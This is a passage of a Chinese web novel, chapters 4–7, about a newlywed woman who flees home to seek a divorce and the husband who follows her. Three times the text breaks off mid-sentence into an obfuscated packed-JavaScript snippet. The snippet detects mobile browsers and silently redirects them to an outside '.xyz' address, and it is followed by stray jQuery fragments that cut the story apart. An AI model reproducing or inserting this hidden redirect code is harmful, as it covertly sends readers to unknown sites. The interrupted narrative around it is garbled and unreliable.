此信不留在家里,而是现在交给我,一将寻找她的家丁给分散开,二拖延了时间。
现在又说是为了“秦家”修行,她要是当了尼姑,我的名声,我秦家的名声还要不要了?逼得新妇第二日回娘家出家,我成个什么人了?悍夫?
这信一出,我父亲母亲见此信,必然立即派人到未城苦心劝她,若她非要出家,自然要和离了;若不让她出家,使她回心转意,则定要提出和离,就她这样闹法,我家人还能不依她?
吕姝此计,是以小搏大,小小一封信,威力不小啊。
“这人,她原该去当军师的。”秦禄心中颇赞吕姝的才能。
吴参将不解,问:“少将军,这人可是犯了什么事,可要派人去寻找?”
秦禄还未入仕,现无官职,因他的父亲秦卓文早年做过平南将军,故而吴参将如此称呼他。
秦禄听后,嘴角一勾。
“找,怎么不找。不过么,得慢慢地找,最好——慢她一步。”
但是,万一我以为是计,实则是真的呢?
万一中的万一……她真去当尼姑呢?
不会吧?
4. 陪同回门
秦禄转身对吴参将说:“劳烦大人派人将此信送到漕运部院,转交给我父亲,务必请他亲自打开。还请再帮我带上一句话,就说我先行一步,请他速速派家中长辈至未城府商议大事。”
这参将本就是秦大人部下,自然将此事办妥。
和应天秦府的鸡飞狗跳不同,此时未城府的吕家风平浪静。吕姝母亲赵夫人还因思念女儿,急急盼她回门。
吕姝因走水路,船上又有货物,路上各关隘码头检查频繁,历经几日才到了家。
未城习俗,七日回门,这日恰是吕姝回门日。夏日天亮得早,卯时天光便很明了。
她母亲赵夫人方梳洗完毕,就听见下人来报大小姐快到家了。赵夫人兴高采烈地要迎进女儿进门,下人却说吕姝走的是小门。
赵夫人疑惑,觉得不对头:怕县主也不至于怕到要走小门吧?事情都已经了了,这姝儿是怎么回事。
走至后头北门,赵夫人抬头一看,吕姝蒙着面,带着走丫鬟小厮都齐齐回来,独独不见姑爷秦禄。又见李掌柜站在一旁,便猜到她是同家中的货船一起回来的。
吕姝解开面巾,两双眼睛盯着赵夫人上下打量。只见眼前的妇人打扮相当阔气,头上的发钗是金镶玉的,脖子上戴着金项圈,身材富贵,面容和善,可见豪奢。从旁人叫她的称呼看来,这便是她的母亲了。
吕姝张了张口:“母……亲。”
吕姝第一回见到赵夫人,这两个字她喊得艰难。话一出口,就勾起她的伤心事来,眼角微微湿润。
赵夫人原本笑着出来,没看见秦禄,面上的笑容僵住不说,又看女儿面目苍白,形容槁色,似受了委屈一般,急切切地走近前拉她的手问:“这是怎么了,姝儿,是不是他们秦家给你气受了?”
她又走出门四处瞧,连秦禄的人影也没看见,“怎么也不见姑爷?”
“怎么”,赵夫人忍着气,急问:“秦禄没来?他让你一个人来的?”
见吕姝不说话,心中便觉得是秦家亏待了女儿,大骂起来。
“欺人太甚!他们秦家算个什么东西!如此看不起人!”
“早年他们也不过就是个农户出身。再往前推四十年,他祖父还给别人家里当佃农呢。趁着改国姓的时候发了家走了运,为官做宰起来,就看轻我们吕家。亏我们还想着两家旧日有情义,原来是个忘恩负义的!”
“这个秦禄,什么实有文才,君子之风,狗屁!礼节做得这样不周,还不是不周,简直是无礼!世风日下,不打交道不深交,还真是看不清人的真面目!”
赵夫人噼里啪啦话赶话地说了好一阵,吕姝几次想打断都插不进嘴,只好挽紧她母亲的手邀她进门。
等赵夫人喘口气的时间,吕姝忙在她母亲耳边说:“是我私自偷跑回来的。”
赵夫人脚下一顿,如石化一般,转过头看她女儿。她一时口中语塞,半天说不出话来。
吕姝道:“母亲,母亲,我们进屋再细说。”
她预感不好,果然下一刻耳边便响起了责骂。
“你这是……你这是!”赵夫人吸了好了一口气,胸口气得起起伏伏,抬头望着天,“要死!要死!”
一边骂这不孝女一边拉着她急急地往家里走,“原来人家是好人家,我们成了坏的了!方才骂原是是我自己——丢死人了!这事被你爹晓得了,怎么饶得了你……”
又唯恐自己声音太大,压小了声音。转头便若有其事地吩咐看门的小厮说:“赶紧把门关上。快点快点!别让人看见!”
那小厮便噌地一下,三下两除二拉起门栓就关,这么一弄,又把门弄得吱吱大响。
“哎哟!慢点儿,慢点!从容一点儿。别搞得我们像出了什么事儿似的。”
她身边的老婆子便骂起小厮来:“做得什么事,放着,我来!”
小跑过去,自去掩门。
谁知那婆子才刚要关上门,门外马蹄嘚嘚,响起一声:“岳母大人!”
婆子又把门打开。
众人寻声而去,只见这人风姿俊朗,面眉生辉。马蹄向前一跃,“吁”地一声,秦禄掀开长衫下摆,轻松下马而来,端端正正地走至门前,向李夫人见礼。
“岳母大人,小婿特来请罪。”
李夫人眨眼一看,却是秦禄。从前看他是风流倜傥,此刻风尘仆仆,形容不整。
方才女儿又说秦禄没来,这怎么又来了?
李夫人没弄明白到底是怎么回事,只能等关上家门再细问女儿了。
李夫人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956798|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松了女儿的手,走向前去招呼女婿进来,面容上挤出一点儿笑问:“文才何罪之有啊?”
又转头佯装斥责:“你这丫头,女婿既来了,不带着他一起来向长辈问安,反倒让他一个人落在后头算怎么回事?再说,怎能带着文才走小门,这岂不是委屈了姑爷!”
吕姝不答,只是满心疑惑。眉头微蹙,眼睛紧紧地打量着秦禄。
他既然要和离,为何此刻紧追上来,这不是坏事么?
而且那信的意思那样简单,他都没看懂?
秦禄看懂了吕姝的眼神,勾了勾嘴唇,悄声说:“不要小看小爷。”
一行人到了荣回堂,先去见老夫人。
时辰尚早,老夫人也才方醒。老夫人心下疑惑,天才亮不久,城门的鼓楼还在敲钟,怎么回得这样早。
老夫人面上仍笑着,让两个小辈回房间收拾换衣梳洗后,来这里吃早饭。
吕姝的房间自是每日打扫,只是赵夫人当他们是新婚夫妻回来,此前没让人打扫厢房,如今也只当两个人吵架,便也就让两人住一起。
吕姝是不愿意和他一起住的,现下她却有急事要问清楚,叫了秦禄跟她到房间里来。
“我问你,你来做什么?”
“陪你回门啊。”
“回什么门,我们都说好和离了!”吕姝因秦禄打断她的计划,脸上有些愠色,“你要真想陪我,怎么偏要落我一步进门?你拿着通行证,住的是水驿,用的是驿站快马,一路骑马乘舟过来,怎么也比我要快个一两日吧。”
秦禄低着头细听她说话,越听越满意,抬起眼皮,仔细打量起眼前的人来。
吕姝脸因为方才生气,涨得才有些血色,只是口唇仍是发白。
秦禄心想:一个未城人,从小生活在江南水乡,为何会晕船?
他一面走出去吩咐丫鬟:“叫厨房做碗姜茶来。”一面把房门关上,叹了一口气,意味深长地说:“哎,这你都猜到了,怎么猜不到我的来意?”
什么意思?
吕姝紧张地问:“你反悔了?”
秦禄正色起来,慢慢地靠近吕姝,一双眼睛目不转睛地盯着吕姝看,那对明亮的眸子里含情脉脉。
“是,我反悔了,你待如何?”
5. 苦命鸳鸯
吕姝瞧他越靠越近,皱着眉头,推他的脸一把,“怎么反悔了,展开说说。”
说罢,她自往角落里走去,打开了大箱子,找起东西来。
秦禄见她不理人,越发起了逗弄的兴致,便跟在翻箱倒柜的她身后,她走到哪儿,就跟到哪儿。
“这话说起来就长了。”
他一顿,嘴上憋笑:“‘天下之佳人,莫若楚国。’现今,虽没有楚国了,却有潇湘。我听说潇湘之丽者,莫若未城,未城之美者,莫若吕家之淑女,比花花解语,比玉玉生香。”
“不仅如此,你上伴得了古佛,下教得了县主,德行怕要感动上天,礼教为女子中魁首,能言会道,才智无双,我怎么不悔?”
吕姝瞥他一眼,冷笑一声:“此话真是呕哑嘲哳难为听。”
她早就听丫鬟说过,自己名声极不好听,在本地有个外号,叫小旱魃,是传说中的怪物。
秦禄:难听好啊,难听就对了。小爷我大婚当晚让在门外站得像个门神,第二日马不停蹄,舟不停桨,连着几日披星戴月地跑到这里来,能好话说出来真是有鬼了。
秦禄眼睛一转,捂着嘴笑,继续道:“我这人只说好话。方才所言,可全都是大实话,有什么不好意思的。”
吕姝从箱子底下终于翻出一件小棉袄出来,一边拿身前比对,一边笑了一声,说:“谁还不是个实诚人了。”
“我早前听闻公子有鸿鹄之志,对冠军侯、孙伯符向往之。在江东时不曾细看,今日观之,公子书生意气,能言会道,颇有陆逊遗风;在小女子面前善逞英豪,霸王之气渐显。依我愚见,明日建功立业,怕比小霸王有过之不及,比项羽还要胜三分。”
秦禄心中忖道:好厉害的口齿。
她是讥讽我纸上谈兵,不去干点正事,只会在女人面前斗嘴。
正欲再说,门外的丫鬟敲了敲门,吕姝问什么事,那丫鬟便说是送茶来了。
秦禄走至门前,端了茶往房里走,放在桌上,自己坐在矮凳上,微微一笑:“这碗姜茶来得真不是时候。你火气太旺,我还是给你换碗绿茶,降降火。”
说罢,他便作势要把那碗姜茶喝了。
吕姝道:“我这里的绿茶都是长于高山,吸食日月精华,吞吐云雾露珠,确实比不得长在土里的黄姜来的接地气。公子惯来目不接地,牛气冲天,是该多喝些姜茶。”
秦禄把茶碗往桌上一放,再不饮它。仍是笑笑说:“说话也太尖利些,性子这么要强,忍着晕船的不适也要同我斗嘴。”
“煮豆燃豆萁,萁在釜下燃,豆在釜中泣。常言道夫妻一体,我们虽不是同根生,但都知道,眼下和离大事是着急的事。”
“罢罢,是我耍弄唇舌,得罪了小姑奶奶,在此赔罪了。”他站起身来,朝她作了个揖,“你就喝了这姜茶吧,本就是要给你喝的,倘使待会儿吃饭的时候晕倒,岂不误了大事。”
吕姝道:“早这么说,不就完了。”走至桌前,将那姜茶一饮而尽。
属实她方才也渴了,腹中也颇感不适,不过是为了和秦禄置气,这才忍者不喝,这会子他既赔罪,那自然是自己赢了,还有什么理由不喝。
“人家交杯酒两人同饮,不如我也陪一杯,以茶代酒,就这便当做我们的和离茶了。”说罢,便自己倒了一杯冷茶喝了。
吕姝走至梳妆台镜子前的矮凳上坐下,瞧着镜中自己的模样,的确喝了杯暖胃的茶后,恶心的感觉缓解了不少,嘴唇都红润些了。
“你这倒还有些君子风范。”
谁知秦禄突然噗嗤一声笑出声来,“兵者,诡道也。我和君子就没什么关系。”
“你不是问我我的来意么。此前,你就留下一封信,让我在原地吃惊,像只木鸡。我来就想问问你,你到底哪看不上我?如果你说明白了,我就同你一起去和祖母、岳母大人说和离的事情,届时,你岂不是压力小些。”
原来是这样,吕姝松了一口气。
她想,要是说了个理由他不满意,却怎么办?他既爱读兵书,喜好诡道,喜怒无常,多疑猜忌也是常有的事。岂不闻刘馥一鸣惊人,被曹孟德横起长槊刺死之事?虽是演义,却颇有先示意味。
吕姝便说:“你确实很好,只是……我心中有人了。我与他……两情相悦,只是家中阻挠。”
“果真?”秦禄站在一旁露出不可置信的眼神。
“自然是真。”
秦禄听后久久不语,沉吟道:“和离之事,相比于我,于你更加艰难。你和离后,他可愿意娶你?”
“是,他得知我嫁人的事,心下便悔了,他在家中绝食,终于得到了同意,只等我和离,便请我哥给他传信。”
秦禄心下想:“古来棒打鸳鸯者多矣。就说梁山伯和祝英台,不是因为马文才才成了苦命鸳鸯么,我秦禄秦文才难道也要逼得她变成蝴蝶才能飞走解脱?”
虽说秦父取这个字,原不是这个意思。当年他祖父是农户起家,靠着武学根骨,跟着太祖爷,以从龙之功打下了家中基业。
只是在开国时,发生了天大的血案,武将接连被诛杀,连祖父的恩师步鲁将军都没有幸免。故而祖父希望他家转为文臣,家中这一辈便是文字辈。
只不过过了这么久,家里都还都是军户的,没有哪个文字辈得过恩典除掉军籍。而现今安定,太祖爷正值晚年,武将越发没落,家中便更加希望能走文庙而不入武庙了。
他取字文才,家中寄寓了很大希望。
秦禄嘴角扯出一抹淡淡的微笑:“你真是有个好哥哥,我就没有这样的一个好师兄。”
秦禄耸了耸肩,“既是如此,那待会儿饭桌上,就由我来提出和离。这是你家,家中父母的怨气怎么也不会到要拿着大棒打我的地步。”
两人便商量好,等午饭后便禀明实情。吕姝便道:“如此便好。你且外站……”还未说完,秦禄便吐槽道:“又来?”
“我要换衣服了,你要想先换,我出去也是一样。待会儿叫人送一套我哥哥的衣裳来,也不知合不合身。”
秦禄知道是这个意思,便扬手说:“我自去见他。”不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956799|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,能合身就怪了。
说罢,欲推门而去。
谁知这时,门外却有一个汉子大声叫嚷起来。
“秦禄!给我出来!秦禄!”
这人嗓门儿老大,满嘴里皆是骂秦禄小人,负心汉之类云云,骂得极为难听。
秦禄张嘴吸了一口气,又长长吐出,看着吕姝,指着门外,笑着连连摇头:“说曹操,曹操就到了。”
一开门,秦禄就挨了一拳重的。那人一边打一边骂他:“你这个小人!负心汉!狗贼子!”他被打得头昏脑涨,一时找不清方向,晕乎乎中看清了来人,富贵体态,活像一颗愤怒的大鸭梨,果真是他大舅哥。
秦禄摸了一把嘴角的血,看了看手上的血迹,又抬眸看着来人,忍着脾气笑着说:“大舅哥,脾气依旧火爆啊。”
吕姝站在一边儿,刚反应过来此人是谁,就看见秦禄挨了一拳,忙挡在秦禄身前,将二人隔开,急喊道:“哥哥,你这是做什么?文才是陪我回来的,你别打他。”
“妹妹,别护着他了。方才掌柜来和我交账,我全都知道了!这家伙让你一个人坐了六七天船回来,他自己还装孝顺,你还帮他瞒着做什么?定是他对你做了什么不齿之事,气得你连夜又走。不然你们一回来,房门紧闭,他不是急着要你闭嘴不是?”
“是也不是!秦文才,你说!”
秦禄是个练家子,自己一个鲤鱼打挺站就起来,没要吕姝扶他,只是接过她递来的帕子擦血,道了谢。
又对吕犀说:“明照,真不是,你听我细说。”
吕犀把手一把,头一扭,像头牛似的鼻孔喷着火气,嘴里喊道:“我不听你说的鬼话。姝妹,你说。”
“哥哥,还是让他说吧。”逃跑还要和离,都是自己闯的祸,吕姝不好向哥哥开口。
吕犀便道:“哼,秦禄,你说。”
秦禄冷笑了一声,“我不想说了。”
吕犀便瞪他。
秦禄觉得好笑,只补充说:“饭时,我们自去同祖母和母亲解释。大师兄若有兴致,就随我一起去吧。”
他掸了掸衣服上的灰尘,“只是在这之前,还请劳烦大师兄借我衣服一套衣服使使。你弄得我灰头土脸,一点儿也见不得人。”
“那这便走吧,磨磨唧唧的。”吕犀拉着他就走。
原来秦禄和吕犀本是熟识,两人拜在同一个师父门下,交情颇深。
吕犀比秦禄要年长一岁,两人时常兄弟相称。此时,他们一并往吕犀的院子去,去的这一路上吕犀时不时嚷着要绝交,喊师父将他逐出师门,弄得秦禄真是头大。
吕姝看着二人斗嘴,便知实也不会出什么大事,她自己则在房中喊了丫鬟进来给她换衣服。
这惊月是她的陪嫁丫鬟,也知道吕姝和秦禄是怎么一回事,便重新给她找了一件藕荷色交领小袄出来,给她的头发梳成了双鬟髻,重新束上了赭色丝带。
“这打扮看着有些年轻。”
惊月笑了一声,“小姐比我还小两岁,年初二月才及笄,怎会不年轻。”
6. 招架不住
吕姝这时才知道,原身才十五岁。
十五,可不年轻么。吕姝自嫁人以后,就没听过年轻二字的好话。于她而言,做事年轻是要挨骂的。
想到方才吕犀的一番维护,吕姝真羡慕她有一个疼她的哥哥,不像她,只有一个白眼狼的庶弟。
吕姝顿了顿,道:“你梳得倒好看,只是这束带,不像是成婚的妇女用的。”
她并不了解这儿的打扮样式,前世她倒是梳牡丹头梳得多,那是一种光润丰满的发髻。
谁知惊月道:“小姐既然要和离,自然重新梳年轻姑娘的头发,难道我们在自家还要看姑爷脸色。”
吕姝听了后,眉头一皱。
“也颇为奇怪,连日来小姐脾气好得不得了。我本想是在外地,人生地不熟的,小姐心中不安所致。如今到家了,小姐大可以放心按本性来,何必再拘着自己的心性。可是听说从夏江来的二小姐温婉可人,颇得老爷喜爱,这才要学她不成?”
这个丫头颇有脾性,想来是跟着原身,染成了直白没收敛的习惯。她在家中还好,倘若在外头还是这样不仔细,被别人听去,少不得又风言风语了。
惊月所说夏江来的二小姐是吕姝的庶妹,今年十三,才回来半个月。同她一起来的,是她的亲娘卢姨娘和她的胞兄吕屏。卢姨娘是他父亲在景州做县令时,底下县丞的女儿。她们兄妹二人都是在景州出生的,长到十几岁了都没有来过未城。
家中的情况,多多少少她都听惊月说了。吕姝自然知道现在的景况。他父亲等于是在景州有了另一个家,这么多年,陪在他身边的是卢姨娘,跟母亲的感情必然淡薄。
而那两兄妹,听说是一个是才子,一个是才女。大的已经中了秀才,抛开亲伦关系,见他老子都不用下跪,此次回未城,想来父亲是为了他的前途做打算;小的六岁就能作诗,能文会诵,她写的弹词在景州的大家小姐绣房里都能找到一两本。
论起来家中兄弟姐妹不算多,可是吕姝总还想着,要是父亲只有她和哥哥两个子女多好。
吕姝最后还是按惊月说的穿着了。她少不得要按原身的行事风格来过渡一段时间,否则就太奇怪了。再说她身上那股子保守劲,总觉得与这里格格不入。既来之则安之,便入乡随俗大胆些罢。
吕姝所说的大胆,在惊月看来,还是畏畏缩缩了些,毕竟从前她是县主都敢打的泼皮,现在要是闹和离,不得弄个鸡犬升天才算完事么。
现今还能低声细语几句的吕姝没有想到,过不了多久,这种淑女的日子一去不复返了。
梳洗完毕,吕姝带着丫鬟,一径往荣回堂去了。刚进门,就听见了一个男人高谈阔论的声音,不时放声大笑,再一听,还能听见秦禄与吕犀两人在斗嘴。
吕姝往里进去,只见排排的椅子放在桃木桌子两旁,老太太高坐,下面便是她二叔,秦禄和吕犀。她母亲领着那边的两兄妹坐在对面,卢姨娘不在。
吕姝没看见自己的位子,便站着没有动。
早上来没细看,如今一瞧老太太这屋里,珊瑚珍玩,瓷器古董,字画古籍摆了一面墙架,比之王府也不遑多让。漆柜上放着一盆佛手柑,满室散发着沁人心脾的橘香,更靠近老太太,则越能能闻见房间里淡淡的药味。柜面上镶嵌着饱满的牡丹花螺钿,光线一照,那些花鸟纹路就像真的一样,一闪一闪地动。
丫鬟婆子上上下下端菜添碗,厅中走动,有序不乱。再一瞧那早饭,鱼啊肉啊,奶酪鲜汤,满大桌子。
说是早饭,其实秦禄一来,就不能简单了。
吕姝向众人行礼,两个小的也向她见礼。老祖母见她大孙女来了,笑盈盈地招手叫她坐到身边来。
“姝儿,这儿坐。”说罢,拍了拍身下镶满螺钿的宝座。
原来座位在那儿。
吕姝心下惊讶于自己在家中的地位,看来老夫人是真的疼爱。
“几日不见你,怎么变得直愣直愣的。成日里不见你守规矩的,怎么方才我不叫你,你就不往我身边来坐了。可见你是生祖母的气了。”
吕姝恭敬道:“孙女不敢。”
谁知老夫人见她这样拘谨,不似往日亲昵,便以为她真在生气。
她叹一口气道:“把你送去远地,祖母也不舍得,只是你看……”
“母亲呐!”吕姝的二叔吕璋打断道:“您就是太惯着这小姝了。瞧她这身打扮,这轻狂劲儿,你不把她送去外地,这未城有正经人家的男孩子敢娶她么?她又不像小嫱、小婵有个好脾性儿。”
吕婵是二叔的大女儿,和吕姝差不多大。自吕姝的父亲去外地当官以后,家中的生意都是交给二叔打理,十几年大生意过手,原本谦逊的人也养得口无遮拦,爱耍威风了。
赵夫人不乐意了,伸长了脖子,清了清嗓子道:“二弟说得什么话。当着姑爷的面,落姝儿的面子,赶明儿你家小婵找了姑爷,让我也这样说话不成?”
“大嫂,我是实事求是。你同样的话揽到小婵身上,那就是污蔑造谣。何况,也没人信啊。”
吕犀听了这话,一时气得站起来急得连跺几脚,鼻孔出长气,吼了好大一声:“二叔!这是哪里话!”就要发火。吕璋见状,忙往老夫人边上后退,警告道:“吕明照!我是你叔叔!你反了不成!小姝就比你好一点儿,瞧你这股子牛劲。”
“那你就能泼脏水给小姝了!”
赵夫人站起身来,把吕犀护在身后,指着吕璋的鼻子骂:“我家小姝这回回来,行事也好,作风也好,都是一等一的。你这么骂她,纯见不得她好!俗话说,舍得一身剐,敢把皇帝拉下马!何况你还是个士农工商末,再这样说,我跟你拼了!解元老爷还没说话,你就别说话了吧!”
赵夫人这样说,是因为秦禄身上有功名,前年已发解了。
其实这时候赵夫人颇得意,家里的媳妇里她地位最高,丈夫有官身,女婿有功名,她又管着阖府上下的事务,除了老太太,整个吕府,也就只有老二敢跟她呛声。
老二现管家里的瓷器生意,这是大肥肉,原是从老大手里接过去的,赵夫人自然看他不顺眼。
所以当赵夫人得知后来的事,顿时感到晴天霹雳。丈夫、女婿全都没有光沾了,自己管家的权利也要被妯娌拿走,一时心如死灰。
这时赵夫人和二爷口角又起,两人吵起来一下把老夫人吵得头疼病犯了。
秦禄看他们这里的热闹,心中觉得这家人颇有意思。又听见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956800|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那二叔骂吕姝,一想到吕姝的口齿伶俐,就更想看她待会儿要如何发作。谁知,吕姝这会儿又没说话,一时觉得好不得劲。
见话头又扯到自己,少不得说道:“二叔、岳母稍安勿躁,听我一言。其实家父家母很满意姝儿,我母亲在家都是常夸她的。说她安静懂事,做事稳妥。”
又道:“只是偶尔,性子直率了些,不过我正喜欢这性子呢。说起来都是一家人,不过是为了姝儿好。我们且不说这些伤和气的话了。来来来,侄婿敬二叔一杯。”
说罢,抬起酒杯来敬酒,要把这话头岔过去。
谁知这边好了,门外又来一个先闻其声,不见其人的亲戚。
“好热闹啊!”
下人们都一个个行礼,有的喊四爷,有的喊仪宾爷。来人,眉目清秀,面生丹霞。文质彬彬,风姿俊妍。
吕姝瞧着此人约莫二十多的年纪,想来他就是那位做了郡王府韶乡县主仪宾的四叔了。果真是一副好皮囊能抵穷苦人家半生辛劳。
这时吕姝还没料到,促成和离的关键人物,竟然就是这位四叔。
按道理,宗室女不准与平民通婚,不过听闻韶乡县主和他自幼相识,倾心已久,想着法子破格叫他做了仪宾。
吕瑛摇着折扇进来,同众人说话。吕姝和小辈都行了礼,吕璋、赵夫人等都坐着不动,他也没计较。
二爷瞧老四来了,随口道:“老四,你也是闲得没事,老往家里跑什么。”
“这是我家,我怎么不能回来。”仪宾爷把扇子往小案上一放,笑着说:“我也见见侄女女婿。他也没来过我们这里接亲,今日回门,我不得来瞧瞧真佛长得什么样啊。”
因着和吕犀的关系,秦禄几年前来过这里一次,在席的几个年长的皆见过他,独老四吕瑛是不在家的,故没有见过。
“什么真佛,他是泥捏的菩萨,假模假式的。四叔,你都被他的皮相骗了!”吕犀想起早上的事情来,连连拍着桌子道。
秦禄不理吕犀,只是见四叔似有责怪之意,看起来是为吕姝鸣不平。
这是冲我来的,秦禄心想。
秦禄少不得赔笑道:“是侄婿的错,本该亲自坐船来接她,不料家中祖母身体欠安,只得亲自侍奉。”
实则是他母亲陈夫人为着这婚事愁得病倒了半个月,他是为他母亲侍疾。且陈夫人着实不让他到未城接亲,只等船到了上河码头他才去接的人。这话必不能说。
仪宾爷道:“千百年来,孝子难为。你有孝心,这是好事情,只是少不得姝儿受委屈,往后可要好好待她。”
秦禄连连称是。
后面又是好多话问他,秦禄一一答过。只等他侧过身时,才能偷偷长长地松口气。
他对着吕姝眨眼扬眉毛使眼色,做口型道:“实在招架不住了……”
吕姝瞥他一眼,轻轻笑他,也做口型说:“叫你非要来——”
二人这一来一往,皆落在仪宾爷眼里。他端起身边的茶喝了一口,笑着不语。
正是才子佳人情意绵缠,亲朋好友乐见其成。只是风雨未至,所见皆鸳鸯;合欢颂喜事,不知喜亦丧。
一夕间,笑变作哭,红变作白的人家,古今多矣。
7. 做我夫人
“没喊你们来,你们自己就都来了。来就来,又吵得闹闹哄哄。”老太太又笑了一声,看着秦禄道:“孙女婿看笑话了。”
转头又叫赵夫人:“老大媳妇,你看看人齐了没有。再不吃饭,我们这里也数不清揭了几个沸汤锅子了。”
老太太一说,众人都笑。
赵夫人笑道:“齐倒是齐了,三弟称病,方才说了不来,这会儿没见人,估计是真不来了。”
二爷冷哼一声,抠着指甲道:“早不病晚不病,偏这时候有贵客他就病了。”
“四哥你还不知道三哥,他那‘来客病’犯了多年了。”仪宾爷又笑说:“不过,这也不是什么大病,治起来很快,只需一方,立竿见影。”
二爷问:“你有何方?”
仪宾爷笑笑说:“改日我家祖坟冒了青烟,有幸得圣上亲眷,他必好了。”
众人又是一顿笑。
说说笑笑中,都上了席。喝酒的喝酒,玩笑的玩笑,席间倒也和谐。
一顿饭毕,吕屏、吕嫱怏怏不乐,统共没说几句话。大约往日在景州都是同她亲娘一起吃饭,如今她亲娘不得上桌,一时不习惯。
但他们心中都明白,以前那种一家四口亲昵的日子,已经一去不复返了。
却说秦禄和吕姝都没预料到早上有这么多人来,本要说和离的话,也没有说。少不得要等众人散去,找个机会私下里偷偷和老太太说。
吕姝没怎么喝酒,倒还清醒。只是秦禄酒醉得厉害,方才被二爷和仪宾爷两个拉着死灌,又被吕犀连着灌了七大杯,要不是吕姝拦着,秦禄还得被吕屏也拉着灌。
秦禄寻了个借口悄悄溜了出去,一时也不知往哪里走,只是沿着长廊一径往院子外头去了。路过湖边,穿过假山石,到了翠芳亭。
只见亭子坐落在碧湖边,庭前的翠柳成荫,绿竹幽幽,正是个僻静处。他醉晕晕地往石桥过去,往亭子的木椅上一躺,昏昏地睡着了。
谁知老太太久没看见秦禄,要派人去找。于是吕姝就说她去寻他。
问了还几个丫鬟婆子都说看见秦禄出了院子,吕姝顺着她们的说法,也出到了院子外头。
过了好一会儿,还是找不见人。
她就上了二楼复廊远望,却看见秦禄在亭子里呼呼大睡。
吕姝一只手扶着实木柱子,一只手放在嘴边,喊道:“秦禄!秦禄!快起来!”
秦禄本睡得沉,中途被蚊子咬醒了,就没那样熟睡了。恰好又听见有人喊他,两眼一睁,睡眼惺忪,揉着眼睛,去瞧是谁。
却见吕姝玉面微醺,凭栏对望;眼波艳艳,粉香远闻。
秦禄一把把手托着腮边,嘿嘿地乐道:“哟,这不是我那如花美眷么。”
吕姝摇了摇头。
喃喃道:“他真是醉糊涂了。”
心里想着,这是湖边,掉到湖里可了不得,少不得要下去扶他一把。
只是秦禄看见她要走,这下坐不住了,指着她大喊:“夫人休走!”
登时便起身,从亭子里飞身出来,两个空翻到了石桥边上,快走几步却走不直,几乎要掉到湖里。
“嗳!小心!”吕姝急道。
谁知秦禄又没有掉下去,腰上一使劲,正如起舞一般,平安落地了。
“勿要担心!小爷我走在悬崖峭壁都如履平地,就不可能掉湖里!正所谓:无路就是有路,有路就是无路。这几步路就是再危险,都能救回来。瞧我给你走一段!”
但见秦禄在石桥上又返回着走了一遍,走至一半,整个身子又差点翻到湖里,看得吕姝胆战心惊。
他却脚下用力一蹬,浑身似滚球一般翻至大杨柳的树梢之上。借着力气,又飞檐走壁,脚底生风,连步跳至吕姝身前的那株老楠树上,三两下移至横梢坐下,拖着腮子,自是满脸笑意问吕姝道:“怎么样?瞧小爷如何?”
这一段话说得轻薄,到底是少年,不够稳重。
吕姝捂着脸没眼看,四处瞧看有没有人。
见吕姝不答,秦禄连连追问,似有不见她答绝不罢休之意。
吕姝便夸他功夫不错。
秦禄一听,兴致大发,从回廊边的竹丛里折了根刚竹,握在手里持作剑,兴意昂扬地舞了起来。
秦禄眼神迷离,脚步虚浮,如颠似狂,不时放声大笑,只见一根竹竿在他手下顿时化作游龙青蛇一般,一招一式间变化无穷。
他身形似鹤,刚劲时在空中似鹰、似雕,柔和时又似鸿、似燕。提腕将剑向前一点,有如旋风般将箭往空中一抛,那剑直入青云却又垂落下来,稳稳地落入秦禄之手。
秦禄将剑一收,头一偏,不看吕姝,两颊微隆,脸上颇有得意之色,放声笑问:“我比裴旻如何?”裴将军乃开元剑圣,他的剑舞是一绝。
吕姝虽听闻他有封狼居胥之志,却从未见他动过武。今日一见,惊觉此人并没有说大话。
见这一舞,她眉眼开阔,心情大好,笑道:“舞得不错,只是没把宝剑。”
灵机一动,笑了两声,说道:“我借你一把。”语气中颇有期待。
她走进廊阁里间,将吕犀藏着的一把蓝羽剑执在手中。
吕姝道:“宝剑在此。”两手一抛,剑落秦禄手中。
秦禄握着剑柄挥舞两下,发觉这剑十分轻便,舞剑十分趁手。阳光一照,剑柄上镶着的矢车菊蓝宝石,发着翠蓝的火彩。
秦禄立身抬剑,微微颔首,眉宇之气聚至神庭,随后两眼一弯,桃花含情,对着吕姝笑说:“瞧好了!不可眨眼!”
右手持剑,左手捏诀,抚摸剑身,其势静如流水,忽而大手一挥,正如观音净瓶洒玉露,混沌太极生两仪。他穿一竹绿道袍,松松垮垮,抬腿之间,宽袖长裳与之舞,窄风短佩为之乐;剑如瀑流环其身,身若旋风卷作云。
